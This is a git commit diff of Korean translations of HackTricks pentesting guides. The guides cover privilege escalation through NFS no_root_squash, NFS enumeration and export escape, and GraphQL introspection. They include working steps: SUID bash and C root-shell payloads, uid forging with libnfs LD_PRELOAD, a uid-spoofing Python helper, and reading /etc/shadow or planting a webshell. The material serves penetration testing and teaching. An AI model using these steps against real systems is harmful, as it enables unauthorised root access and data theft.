Translated ['src/linux-hardening/privilege-escalation/nfs-no_root_squash

This commit is contained in:
Translator 2025-02-05 00:23:03 +00:00
parent e78162fd6a
commit 5f36bd40ad
10 changed files with 467 additions and 314 deletions

View File

@ -1,18 +1,29 @@
{{#include ../../banners/hacktricks-training.md}}
**/etc/exports** 파일을 읽어보세요. **no_root_squash**로 구성된 디렉토리를 찾으면, 클라이언트로서 해당 디렉토리에 접근하고 로컬 머신의 **root**인 것처럼 그 안에 쓸 수 있습니다.
# Squashing Basic Info
**no_root_squash**: 이 옵션은 기본적으로 클라이언트의 root 사용자에게 NFS 서버의 파일에 root로 접근할 수 있는 권한을 부여합니다. 이는 심각한 보안 문제를 초래할 수 있습니다.
NFS는 일반적으로 (특히 리눅스에서) 파일에 접근하기 위해 클라이언트가 연결할 때 지정된 `uid``gid`를 신뢰합니다 (kerberos가 사용되지 않는 경우). 그러나 서버에서 **이 동작을 변경하는** 몇 가지 설정이 있습니다:
**no_all_squash:** 이 옵션은 **no_root_squash**와 유사하지만 **비루트 사용자**에게 적용됩니다. 예를 들어, nobody 사용자로 쉘을 가지고 있고, /etc/exports 파일을 확인했으며, no_all_squash 옵션이 존재하고, /etc/passwd 파일을 확인한 후, 비루트 사용자로 에뮬레이트하고, 그 사용자로 SUID 파일을 생성한 후(nfs를 사용하여 마운트) nobody 사용자로 SUID를 실행하여 다른 사용자로 변환할 수 있습니다.
- **`all_squash`**: 모든 접근을 압축하여 모든 사용자와 그룹을 **`nobody`** (65534 unsigned / -2 signed)로 매핑합니다. 따라서 모든 사용자는 `nobody`가 되며, 사용자가 없습니다.
- **`root_squash`/`no_all_squash`**: 이는 리눅스의 기본값이며 **uid 0 (root)**에 대한 접근만 압축합니다. 따라서 모든 `UID``GID`는 신뢰되지만 `0``nobody`로 압축됩니다 (따라서 root 가장이 불가능합니다).
- **``no_root_squash`**: 이 설정이 활성화되면 root 사용자조차 압축하지 않습니다. 즉, 이 설정으로 디렉토리를 마운트하면 root로 접근할 수 있습니다.
**/etc/exports** 파일에서 **no_root_squash**로 설정된 디렉토리를 찾으면, **클라이언트로서** 해당 디렉토리에 **접근**하고 **그 안에 쓰기**를 할 수 있습니다 **로컬 머신의 root**인 것처럼.
**NFS**에 대한 더 많은 정보는 다음을 확인하세요:
{{#ref}}
/network-services-pentesting/nfs-service-pentesting.md
{{#endref}}
# Privilege Escalation
## Remote Exploit
이 취약점을 발견했다면, 이를 악용할 수 있습니다:
- 클라이언트 머신에서 해당 디렉토리를 **마운트**하고, **root로** 마운트된 폴더 안에 **/bin/bash** 바이너리를 복사한 후 **SUID** 권한을 부여하고, 피해자 머신에서 그 bash 바이너리를 실행합니다.
옵션 1: bash 사용:
- **클라이언트 머신에서 해당 디렉토리를 마운트하고, root로서** 마운트된 폴더 안에 **/bin/bash** 바이너리를 복사한 후 **SUID** 권한을 부여하고, **피해자** 머신에서 해당 bash 바이너리를 실행합니다.
- NFS 공유 내에서 root가 되려면, **`no_root_squash`**가 서버에 설정되어 있어야 합니다.
- 그러나 활성화되지 않은 경우, 바이너리를 NFS 공유에 복사하고 상승하고자 하는 사용자로서 SUID 권한을 부여하여 다른 사용자로 상승할 수 있습니다.
```bash
#Attacker, as root user
mkdir /tmp/pe
@ -25,7 +36,9 @@ chmod +s bash
cd <SHAREDD_FOLDER>
./bash -p #ROOT shell
```
옵션 2: C 컴파일 코드 사용:
- 클라이언트 머신에서 해당 디렉토리를 **마운트**하고, **루트로 복사**하여 마운트된 폴더 안에 SUID 권한을 악용할 컴파일된 페이로드를 넣고, 피해자 머신에서 해당 바이너리를 **실행**합니다 (여기에서 일부 [C SUID 페이로드](payloads-to-execute.md#c)를 찾을 수 있습니다).
- 이전과 동일한 제한 사항
```bash
#Attacker, as root user
gcc payload.c -o payload
@ -42,14 +55,14 @@ cd <SHAREDD_FOLDER>
## Local Exploit
> [!NOTE]
> 당신의 머신에서 피해자 머신으로 **터널을 생성할 수 있다면, 필요한 포트를 터널링하여 이 권한 상승을 이용하기 위해 원격 버전을 여전히 사용할 수 있습니다**.\
> 다음 트릭은 파일 `/etc/exports`**IP를 나타내는 경우**에 해당합니다. 이 경우 **어떤 경우에도** **원격 익스플로잇을 사용할 수 없으며** **이 트릭을 악용해야 합니다**.\
> 익스플로잇이 작동하기 위한 또 다른 필수 조건은 **`/etc/export` 내의 내보내기가** **`insecure` 플래그를 사용해야 한다는 것입니다**.\
> --_나는 `/etc/export`가 IP 주소를 나타내는 경우 이 트릭이 작동할지 확신하지 못합니다_--
> Note that if you can create a **tunnel from your machine to the victim machine you can still use the Remote version to exploit this privilege escalation tunnelling the required ports**.\
> The following trick is in case the file `/etc/exports` **indicates an IP**. In this case you **won't be able to use** in any case the **remote exploit** and you will need to **abuse this trick**.\
> Another required requirement for the exploit to work is that **the export inside `/etc/export`** **must be using the `insecure` flag**.\
> --_나는 `/etc/export`가 IP 주소를 나타내는 경우 이 트릭이 작동할지 확신하지 못다_--
## Basic Information
이 시나리오는 로컬 머신에서 마운트된 NFS 공유를 이용하여 NFSv3 사양의 결함을 악용하는 것으로, 클라이언트가 자신의 uid/gid를 지정할 수 있어 무단 접근을 가능하게 합니다. 익스플로잇은 NFS RPC 호출을 위조할 수 있는 라이브러리인 [libnfs](https://github.com/sahlberg/libnfs)를 사용합니다.
이 시나리오는 로컬 머신에서 마운트된 NFS 공유를 악용하는 것으로, 클라이언트가 자신의 uid/gid를 지정할 수 있게 해주는 NFSv3 사양의 결함을 이용하여 무단 접근을 가능하게 합니다. 이 악용은 NFS RPC 호출을 위조할 수 있는 라이브러리인 [libnfs](https://github.com/sahlberg/libnfs)를 사용하는 것을 포함합니다.
### Compiling the Library
@ -62,34 +75,29 @@ gcc -fPIC -shared -o ld_nfs.so examples/ld_nfs.c -ldl -lnfs -I./include/ -L./lib
```
### Exploit 수행
exploit는 root 권한을 상승시키고 쉘을 실행하는 간단한 C 프로그램(`pwn.c`)을 생성하는 것을 포함합니다. 프로그램은 컴파일되고, 결과 이진 파일(`a.out`)은 suid root로 공유에 배치되며, `ld_nfs.so`를 사용하여 RPC 호출에서 uid를 위조합니다:
익스플로잇은 루트 권한으로 권한을 상승시키고 셸을 실행하는 간단한 C 프로그램(`pwn.c`)을 만드는 것을 포함합니다. 프로그램이 컴파일되고, 결과 이진 파일(`a.out`)이 suid root로 공유에 배치되며, `ld_nfs.so`를 사용하여 RPC 호출에서 uid를 위조합니다:
1. **익스플로잇 코드 컴파일:**
```bash
cat pwn.c
int main(void){setreuid(0,0); system("/bin/bash"); return 0;}
gcc pwn.c -o a.out
```
2. **공유에 익스플로잇을 배치하고 uid를 위조하여 권한을 수정합니다:**
2. **공유에 익스플로잇을 배치하고 uid를 조작하여 권한을 수정합니다:**
```bash
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so cp ../a.out nfs://nfs-server/nfs_root/
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chown root: nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod o+rx nfs://nfs-server/nfs_root/a.out
LD_NFS_UID=0 LD_LIBRARY_PATH=./lib/.libs/ LD_PRELOAD=./ld_nfs.so chmod u+s nfs://nfs-server/nfs_root/a.out
```
3. **root 권한을 얻기 위해 익스플로잇을 실행합니다:**
3. **루트 권한을 얻기 위해 익스플로잇을 실행합니다:**
```bash
/mnt/share/a.out
#root
```
## Bonus: NFShell for Stealthy File Access
## 보너스: NFShell을 통한 은밀한 파일 접근
root 접근이 얻어진 후, 소유권을 변경하지 않고(NFS 공유와의 상호작용에서 흔적을 남기지 않기 위해) Python 스크립트(nfsh.py)를 사용합니다. 이 스크립트는 접근하는 파일의 uid와 일치하도록 uid를 조정하여, 권한 문제 없이 공유의 파일과 상호작용할 수 있게 합니다:
루트 접근 권한을 얻은 후, 소유권을 변경하지 않고(NFS 공유와의 상호작용에서 흔적을 남기지 않기 위해) Python 스크립트(nfsh.py)를 사용합니다. 이 스크립트는 접근하는 파일의 uid를 일치시켜, 권한 문제 없이 공유의 파일과 상호작용할 수 있도록 합니다:
```python
#!/usr/bin/env python
# script from https://www.errno.fr/nfs_privesc.html
@ -108,7 +116,7 @@ uid = get_file_uid(filepath)
os.setreuid(uid, uid)
os.system(' '.join(sys.argv[1:]))
```
다음과 같이 실행하십시오:
실행 방법:
```bash
# ll ./mount/
drwxr-x--- 6 1008 1009 1024 Apr 5 2017 9.3_old

View File

@ -1,4 +1,4 @@
# 2049 - NFS 서비스 펜테스팅
# 2049 - Pentesting NFS Service
{{#include ../banners/hacktricks-training.md}}
@ -6,27 +6,64 @@
**NFS**는 사용자가 네트워크를 통해 파일에 원활하게 접근할 수 있도록 설계된 **클라이언트/서버** 시스템으로, 이러한 파일이 로컬 디렉토리에 있는 것처럼 보이게 합니다.
이 프로토콜의 주목할 만한 점은 내장된 **인증** 또는 **권한 부여 메커니즘**이 없다는 것입니다. 대신, 권한 부여는 **파일 시스템 정보**에 의존하며, 서버는 **클라이언트 제공 사용자 정보**를 파일 시스템에서 요구하는 **권한 부여 형식**으로 정확하게 변환하는 역할을 합니다. 주로 **UNIX 구문**을 따릅니다.
인증은 일반적으로 **UNIX `UID`/`GID` 식별자 및 그룹 멤버십**에 의존합니다. 그러나 클라이언트와 서버 간의 **`UID`/`GID` 매핑**의 불일치로 인해 서버에 의한 추가 검증이 불가능해지는 문제가 발생합니다. 따라서 이 프로토콜은 인증 방법에 의존하기 때문에 **신뢰할 수 있는 네트워크** 내에서 사용하는 것이 가장 적합합니다.
**기본 포트**: 2049/TCP/UDP (버전 4를 제외하고, TCP 또는 UDP만 필요함).
```
2049/tcp open nfs 2-3 (RPC #100003
```
### 인증
이 프로토콜의 주목할 만한 측면은 일반적으로 내장된 **인증** 또는 **권한 부여 메커니즘**이 부족하다는 것입니다. 대신, 권한 부여는 **파일 시스템 정보**에 의존하며, 서버는 **클라이언트가 제공한 사용자 정보**를 파일 시스템에서 요구하는 **권한 부여 형식**으로 정확하게 변환하는 역할을 합니다. 주로 **UNIX 구문**을 따릅니다.
인증은 일반적으로 **UNIX `UID`/`GID` 식별자 및 그룹 멤버십**에 의존합니다. 그러나 클라이언트와 서버 간의 **`UID`/`GID` 매핑**의 불일치로 인해 문제가 발생하며, 서버에 의한 추가 검증의 여지가 없습니다. 게다가 이러한 세부 정보는 클라이언트에 의해 전송되고 서버에 의해 신뢰되므로, 악의적인 클라이언트가 더 높은 권한의 `uid``gid`를 보내 다른 사용자를 **가장할** 수 있습니다.
**그러나 기본적으로 NFS를 사용하여 `UID` 0(루트)을 가장하는 것은 불가능하다는 점에 유의하십시오. 이에 대한 자세한 내용은 스쿼싱 섹션에서 다룹니다.**
#### 호스트
더 나은(또는 일부) 권한 부여를 위해 NFS 공유에 접근할 수 있는 **호스트**를 지정할 수 있습니다. 이는 Linux의 `/etc/exports` 파일에서 수행할 수 있습니다. 예:
```
/PATH/TO/EXPORT      CLIENT1(OPTIONS1) CLIENT2(OPTIONS2) ...
/media/disk/share   192.168.2.123(rw,sec=krb5p:krb5i)
```
As you can see, it allows to configure a specific **IP** or **hostname** to access the share. Only that address will be able to access the share.
### Versions
- **NFSv2**: 이 버전은 다양한 시스템과의 폭넓은 호환성으로 인식되며, 초기 작업이 주로 UDP를 통해 이루어졌다는 점에서 중요성을 지닙니다. **가장 오래된** 버전으로서, 향후 개발의 기초를 마련했습니다.
- **NFSv2**: 이 버전은 다양한 시스템과의 폭넓은 호환성으로 인정받으며, 초기 작업이 주로 UDP를 통해 이루어졌습니다. 시리즈 중 **가장 오래된** 버전으로, 향후 개발의 기초를 마련했습니다.
- **NFSv3**: 다양한 개선 사항과 함께 도입된 NFSv3는 가변 파일 크기를 지원하고 향상된 오류 보고 메커니즘을 제공함으로써 이전 버전을 확장했습니다. 그럼에도 불구하고 NFSv2 클라이언트와의 완전한 하위 호환성에는 한계가 있었습니다.
- **NFSv3**: 다양한 개선 사항과 함께 도입된 NFSv3는 이전 버전을 기반으로 하여 가변 파일 크기를 지원하고 개선된 오류 보고 메커니즘을 제공합니다. 발전에도 불구하고 NFSv2 클라이언트와의 완전한 하위 호환성에는 한계가 있었습니다.
- **NFSv4**: NFS 시리즈의 이정표가 되는 버전인 NFSv4는 네트워크 간 파일 공유를 현대화하기 위해 설계된 기능 모음을 가져왔습니다. 주목할 만한 개선 사항으로는 **높은 보안**을 위한 Kerberos 통합, 방화벽을 통과하고 포트 매퍼 없이 인터넷에서 작동할 수 있는 기능, 접근 제어 목록(ACL) 지원, 상태 기반 작업의 도입이 있습니다. 성능 향상과 상태 기반 프로토콜의 채택은 NFSv4를 네트워크 파일 공유 기술의 중요한 발전으로 구별시킵니다.
- **NFSv4**: NFS 시리즈의 획기적인 버전인 NFSv4는 네트워크 간 파일 공유를 현대화하기 위해 설계된 기능 모음을 가져왔습니다. 주목할 만한 개선 사항으로는 **높은 보안**을 위한 Kerberos 통합, 방화벽을 통과하고 포트 매퍼 없이 인터넷에서 작동할 수 있는 기능, 접근 제어 목록(ACL) 지원, 상태 기반 작업의 도입이 있습니다. 성능 향상과 상태 기반 프로토콜의 채택은 NFSv4를 네트워크 파일 공유 기술의 중요한 발전으로 구별합니다.
- Kerberos 인증을 지원하는 Linux 호스트 NFS를 찾는 것은 매우 이상적입니다.
각 NFS 버전은 네트워크 환경의 진화하는 요구를 충족하기 위해 개발되었으며, 보안, 호환성 및 성능을 점진적으로 향상시켰습니다.
각 NFS 버전은 네트워크 환경의 진화하는 요구를 해결하기 위해 개발되었으며, 보안, 호환성 및 성능을 점진적으로 향상시켰습니다.
### Squashing
앞서 언급했듯이, NFS는 일반적으로 클라이언트의 `uid``gid`를 신뢰하여 파일에 접근합니다(kerberos가 사용되지 않는 경우). 그러나 서버에서 **이 동작을 변경하는** 몇 가지 구성을 설정할 수 있습니다:
- **all_squash**: 모든 접근을 압축하여 모든 사용자와 그룹을 **`nobody`** (65534 unsigned / -2 signed)로 매핑합니다. 따라서 모든 사용자는 `nobody`가 되며 사용자가 없습니다.
- **root_squash/no_all_squash**: 이는 Linux의 기본값이며 **uid 0 (root)로 접근을 압축합니다**. 따라서 모든 `UID``GID`는 신뢰되지만 `0``nobody`로 압축됩니다(따라서 root 가장이 불가능합니다).
- **no_root_squash**: 이 구성이 활성화되면 root 사용자조차 압축하지 않습니다. 즉, 이 구성을 사용하여 디렉토리를 마운트하면 root로 접근할 수 있습니다.
### Subtree check
Linux에서만 사용 가능합니다. man(5) exports는 다음과 같이 말합니다: "파일 시스템의 하위 디렉토리가 내보내지지만 전체 파일 시스템이 내보내지 않는 경우, NFS 요청이 도착할 때마다 서버는 접근된 파일이 적절한 파일 시스템에 있는지(이는 쉽습니다)뿐만 아니라 내보낸 트리에 있는지(이는 더 어렵습니다) 확인해야 합니다. 이 검사를 subtree check라고 합니다."
Linux에서는 **`subtree_check` 기능이 기본적으로 비활성화되어 있습니다.**
## Enumeration
### Useful nmap scripts
### Showmount
이것은 **NFSv3 서버에서 정보를 얻는 데** 사용될 수 있으며, **내보내기** 목록, 이 내보내기에 **접근할 수 있는** 사람, 연결된 클라이언트 등을 포함합니다(클라이언트가 서버에 알리지 않고 연결을 끊으면 부정확할 수 있습니다).
**NFSv4 클라이언트는 직접 /export에 접근**하고 거기서 내보내기에 접근하려고 시도하며, 유효하지 않거나 어떤 이유로든 권한이 없으면 실패합니다.
`showmount`와 같은 도구나 Metasploit 모듈이 NFS 포트에서 정보를 표시하지 않으면, 이는 버전 3을 지원하지 않는 NFSv4 서버일 가능성이 있습니다.
```bash
showmount -e <IP>
```
### 유용한 nmap 스크립트
```bash
nfs-ls #List NFS exports and check permissions
nfs-showmount #Like showmount -e
@ -36,9 +73,14 @@ nfs-statfs #Disk statistics and info from NFS share
```bash
scanner/nfs/nfsmount #Scan NFS mounts and list permissions
```
### Mounting
### nfs_analyze
서버가 **마운트**할 수 있는 **어떤 폴더**가 있는지 알기 위해 다음과 같이 요청할 수 있습니다:
이 도구는 [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling)에서 제공되며, NFS 서버에서 **마운트**, 지원되는 NFS 버전, 연결된 IP 및 **내보내기에서 다른 폴더로 탈출할 수 있는지** 또는 **`no_root_squash`가 활성화되어 있는지**와 같은 많은 데이터를 얻는 데 사용할 수 있습니다.
## Mounting
서버가 **마운트할 수 있는 폴더**를 알기 위해 다음과 같이 요청할 수 있습니다:
```bash
showmount -e <IP>
```
@ -53,13 +95,38 @@ mount -t nfs [-o vers=2] <ip>:<remote_folder> <local_folder> -o nolock
mkdir /mnt/new_back
mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
```
## 권한
## 공격
특정 사용자만 접근할 수 있는 **파일 또는 폴더**가 포함된 폴더를 마운트하면 (**UID**에 의해). 해당 **UID**를 가진 사용자를 **로컬**에서 생성하고 그 **사용자**를 사용하여 파일/폴더에 **접근**할 수 있습니다.
### UID 및 GID 신뢰
## NSFShell
물론, 여기서 유일한 문제는 기본적으로 루트(`UID` 0)를 가장할 수 없다는 것입니다. 그러나 다른 사용자를 가장할 수 있으며, `no_root_squash`가 활성화된 경우 루트도 가장할 수 있습니다.
파일에 접근하기 위해 UID와 GID를 쉽게 나열하고 마운트하며 변경하려면 [nfsshell](https://github.com/NetDirect/nfsshell)을 사용할 수 있습니다.
- 특정 사용자만 접근할 수 있는 **파일 또는 폴더**가 포함된 폴더를 마운트하는 경우( **UID**에 의해). 해당 **UID**를 가진 사용자를 **로컬**에서 **생성**하고 그 **사용자**를 사용하여 파일/폴더에 **접근**할 수 있습니다.
- [https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling)의 **`fuse_nfs`** 도구는 파일에 접근하기 위해 필요한 UID와 GID를 항상 전송합니다.
### SUID 권한 상승
페이지를 확인하세요:
{{#ref}}
/linux-hardening/privilege-escalation/nfs-no_root_squash-misconfiguration-pe.md
{{#endref}}
### 내보내기에서 탈출
이 [훌륭한 기사](https://www.hvs-consulting.de/en/nfs-security-identifying-and-exploiting-misconfigurations/)에서는 **내보내기에서 탈출하여 파일 시스템의 다른 폴더에 접근할 수 있는** 가능성을 확인할 수 있습니다.
따라서, 내보내기가 **전체 파일 시스템**의 **하위 폴더**인 폴더를 내보내는 경우, **`subtree_check`**가 비활성화되어 있으면 내보내기 외부의 파일에 접근할 수 있습니다. 그리고 이는 **리눅스에서 기본적으로 비활성화되어 있습니다**.
예를 들어, NFS 서버가 `/srv/`를 내보내고 `/var/`가 동일한 파일 시스템에 있는 경우, `/var/log/`에서 로그를 읽거나 `/var/www/`에 웹쉘을 저장할 수 있습니다.
또한, 기본적으로 루트(0) 사용자만 가장되는 것을 방지한다는 점에 유의하세요(스쿼시 섹션 확인). 그러나 파일이 **루트에 의해 소유되지만 그룹이 0이 아닌 경우 접근할 수 있습니다**. 예를 들어, 파일 `/etc/shadow`는 루트에 의해 소유되지만 그룹은 `shadow`(Debian에서 gid 42)입니다. 따라서 기본적으로 읽을 수 있습니다!
[https://github.com/hvs-consulting/nfs-security-tooling](https://github.com/hvs-consulting/nfs-security-tooling)의 **`nfs_analyze`** 도구는 ext4, xfs, btrfs 파일 시스템에 대한 이 공격을 지원하도록 구축되었습니다(버전 3에서 가능해야 하며, v4에서도 가능할 것입니다).
### NSFShell
파일에 접근하기 위해 UID 및 GID를 쉽게 나열하고 마운트하며 변경하려면 [nfsshell](https://github.com/NetDirect/nfsshell)을 사용할 수 있습니다.
[멋진 NFSShell 튜토리얼.](https://www.pentestpartners.com/security-blog/using-nfsshell-to-compromise-older-environments/)
@ -68,7 +135,7 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
/etc/exports
/etc/lib/nfs/etab
```
### 위험한 설정
## 위험한 설정
- **읽기 및 쓰기 권한 (`rw`):** 이 설정은 파일 시스템에서 읽기와 쓰기를 모두 허용합니다. 이렇게 광범위한 접근을 허용하는 것의 의미를 고려하는 것이 중요합니다.
@ -76,9 +143,9 @@ mount -t nfs [-o vers=2] 10.12.0.150:/backup /mnt/new_back -o nolock
- **중첩 파일 시스템의 가시성 (`nohide`):** 이 구성은 다른 파일 시스템이 내보낸 디렉토리 아래에 마운트되어 있어도 디렉토리를 볼 수 있게 합니다. 각 디렉토리는 적절한 관리를 위해 자체 내보내기 항목이 필요합니다.
- **루트 파일 소유권 (`no_root_squash`):** 이 설정을 사용하면 루트 사용자가 생성한 파일이 원래 UID/GID인 0을 유지하여 최소 권한 원칙을 무시하고 과도한 권한을 부여할 수 있습니다.
- **루트 파일 소유권 (`no_root_squash`):** 이 설정을 사용하면 루트 사용자가 생성한 파일이 원래 UID/GID인 0을 유지하여 최소 권한 원칙을 무시하고 과도한 권한을 부여할 수 있습니다.
- **모든 사용자 비스쿼시 (`no_all_squash`):** 이 옵션은 사용자 신원이 시스템 전반에 걸쳐 유지되도록 하여, 올바르게 처리되지 않으면 권한 및 접근 제어 문제를 일으킬 수 있습니다.
- **모든 사용자 비스쿼시 (`no_all_squash`):** 이 옵션은 사용자 신원이 시스템 전반에 걸쳐 유지되도록 보장하지만, 올바르게 처리되지 않으면 권한 및 접근 제어 문제를 초래할 수 있습니다.
## NFS 잘못된 구성으로 인한 권한 상승

View File

@ -4,11 +4,11 @@
## Introduction
GraphQL은 **효율적인 대안**으로 **강조**되며, 백엔드에서 데이터를 쿼리하는 간소화된 접근 방식을 제공합니다. REST와 달리, REST는 데이터를 수집하기 위해 다양한 엔드포인트에 여러 요청을 필요로 하는 경우가 많지만, GraphQL은 **단일 요청**을 통해 필요한 모든 정보를 가져올 수 있습니다. 이러한 간소화는 데이터 가져오기 프로세스의 복잡성을 줄여 **개발자에게 큰 이점**을 제공합니다.
GraphQL은 **효율적인 대안**으로 **REST API**에 강조되며, 백엔드에서 데이터를 쿼리하는 간소화된 접근 방식을 제공합니다. REST는 데이터를 수집하기 위해 다양한 엔드포인트에 여러 요청을 필요로 하는 반면, GraphQL은 **단일 요청**을 통해 필요한 모든 정보를 가져올 수 있게 합니다. 이러한 간소화는 데이터 가져오기 프로세스의 복잡성을 줄여 **개발자에게 큰 이점**을 제공합니다.
## GraphQL과 보안
GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취약점도 발생합니다. 주목해야 할 핵심 사항은 **GraphQL은 기본적으로 인증 메커니즘을 포함하지 않는다**는 것입니다. 이러한 보안 조치를 구현하는 것은 개발자의 책임입니다. 적절한 인증이 없으면, GraphQL 엔드포인트는 인증되지 않은 사용자에게 민감한 정보를 노출할 수 있어 상당한 보안 위험을 초래합니다.
GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취약점도 발생합니다. 주목할 점은 **GraphQL은 기본적으로 인증 메커니즘을 포함하지 않습니다**. 개발자가 이러한 보안 조치를 구현하는 것이 책임입니다. 적절한 인증이 없으면 GraphQL 엔드포인트가 인증되지 않은 사용자에게 민감한 정보를 노출할 수 있어 상당한 보안 위험을 초래합니다.
### 디렉토리 브루트 포스 공격과 GraphQL
@ -23,7 +23,7 @@ GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취
- `/graphql/api`
- `/graphql/graphql`
열려 있는 GraphQL 인스턴스를 식별하면 지원되는 쿼리를 검토할 수 있습니다. 이는 엔드포인트를 통해 접근 가능한 데이터를 이해하는 데 중요합니다. GraphQL의 introspection 시스템은 스키마가 지원하는 쿼리를 자세히 설명하여 이를 용이하게 합니다. 이에 대한 자세한 내용은 GraphQL 문서의 introspection을 참조하십시오: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
열려 있는 GraphQL 인스턴스를 식별하면 지원되는 쿼리를 검토할 수 있습니다. 이는 엔드포인트를 통해 접근할 수 있는 데이터를 이해하는 데 중요합니다. GraphQL의 introspection 시스템은 스키마가 지원하는 쿼리를 자세히 설명하여 이를 용이하게 합니다. 이에 대한 자세한 내용은 GraphQL 문서의 introspection을 참조하십시오: [**GraphQL: A query language for APIs.**](https://graphql.org/learn/introspection/)
### 지문 인식
@ -31,7 +31,7 @@ GraphQL을 포함한 새로운 기술의 출현과 함께 새로운 보안 취
#### 유니버설 쿼리 <a href="#universal-queries" id="universal-queries"></a>
URL이 GraphQL 서비스인지 확인하기 위해 **유니버설 쿼리**인 `query{__typename}`을 보낼 수 있습니다. 응답에 `{"data": {"__typename": "Query"}}`가 포함되면, 해당 URL이 GraphQL 엔드포인트를 호스팅하고 있음을 확인할 수 있습니다. 이 방법은 쿼리된 객체의 유형을 나타내는 GraphQL의 `__typename` 필드에 의존합니다.
URL이 GraphQL 서비스인지 확인하기 위해 **유니버설 쿼리**인 `query{__typename}`을 보낼 수 있습니다. 응답에 `{"data": {"__typename": "Query"}}`가 포함되면 해당 URL이 GraphQL 엔드포인트를 호스팅하고 있음을 확인니다. 이 방법은 쿼리된 객체의 유형을 나타내는 GraphQL의 `__typename` 필드에 의존합니다.
```javascript
query{__typename}
```
@ -57,7 +57,7 @@ query={__schema{types{name,fields{name,args{name,description,type{name,kind,ofTy
**오류**
**오류**가 **표시**될 것인지 아는 것은 흥미롭습니다. 이는 유용한 **정보**에 기여할 것입니다.
**오류**가 **표시**될지 아는 것은 흥미롭습니다. 이는 유용한 **정보**에 기여할 것입니다.
```
?query={__schema}
?query={}
@ -162,7 +162,7 @@ name
```
/?query=fragment%20FullType%20on%20Type%20{+%20%20kind+%20%20name+%20%20description+%20%20fields%20{+%20%20%20%20name+%20%20%20%20description+%20%20%20%20args%20{+%20%20%20%20%20%20...InputValue+%20%20%20%20}+%20%20%20%20type%20{+%20%20%20%20%20%20...TypeRef+%20%20%20%20}+%20%20}+%20%20inputFields%20{+%20%20%20%20...InputValue+%20%20}+%20%20interfaces%20{+%20%20%20%20...TypeRef+%20%20}+%20%20enumValues%20{+%20%20%20%20name+%20%20%20%20description+%20%20}+%20%20possibleTypes%20{+%20%20%20%20...TypeRef+%20%20}+}++fragment%20InputValue%20on%20InputValue%20{+%20%20name+%20%20description+%20%20type%20{+%20%20%20%20...TypeRef+%20%20}+%20%20defaultValue+}++fragment%20TypeRef%20on%20Type%20{+%20%20kind+%20%20name+%20%20ofType%20{+%20%20%20%20kind+%20%20%20%20name+%20%20%20%20ofType%20{+%20%20%20%20%20%20kind+%20%20%20%20%20%20name+%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20ofType%20{+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20kind+%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20name+%20%20%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20%20%20}+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}++query%20IntrospectionQuery%20{+%20%20schema%20{+%20%20%20%20queryType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20mutationType%20{+%20%20%20%20%20%20name+%20%20%20%20}+%20%20%20%20types%20{+%20%20%20%20%20%20...FullType+%20%20%20%20}+%20%20%20%20directives%20{+%20%20%20%20%20%20name+%20%20%20%20%20%20description+%20%20%20%20%20%20locations+%20%20%20%20%20%20args%20{+%20%20%20%20%20%20%20%20...InputValue+%20%20%20%20%20%20}+%20%20%20%20}+%20%20}+}
```
마지막 코드 줄은 graphql 쿼리로, graphql의 모든 메타 정보를 덤프합니다 (객체 이름, 매개변수, 유형...).
마지막 코드 줄은 graphql 쿼리로, graphql의 모든 메타 정보를 덤프합니다 (객체 이름, 매개변수, 유형...)
![](<../../images/image (363).png>)
@ -176,7 +176,7 @@ name
![](<../../images/Screenshot from 2021-03-13 18-17-48.png>)
쿼리 "_flags_"의 유형이 "_Flags_"에 유의하세요. 이 객체는 아래와 같이 정의됩니다:
쿼리 "_flags_"의 유형이 "_Flags_"라는 점에 유의하세요. 이 객체는 아래와 같이 정의됩니다:
![](<../../images/Screenshot from 2021-03-13 18-22-57 (1).png>)
@ -193,7 +193,7 @@ query={flags{name, value}}
query = { hiddenFlags }
```
다른 예에서 "_Query_" 타입 객체 안에 두 개의 객체가 있었습니다: "_user_"와 "_users_".\
이 객체들이 검색을 위해 어떤 인수도 필요하지 않다면, 원하는 데이터를 요청하기만 하면 **모든 정보를 가져올 수 있습니다**. 이 인터넷 예제에서는 저장된 사용자 이름과 비밀번호를 추출할 수 있습니다:
이 객체들이 검색을 위해 어떤 인수도 필요하지 않다면, 원하는 데이터를 **요청**하는 것만으로도 **모든 정보를 가져올 수 있습니다**. 이 인터넷 예제에서는 저장된 사용자 이름과 비밀번호를 추출할 수 있습니다:
![](<../../images/image (880).png>)
@ -219,13 +219,13 @@ query = { hiddenFlags }
**쿼리 문자열 덤프 트릭 (thanks to @BinaryShadow\_)**
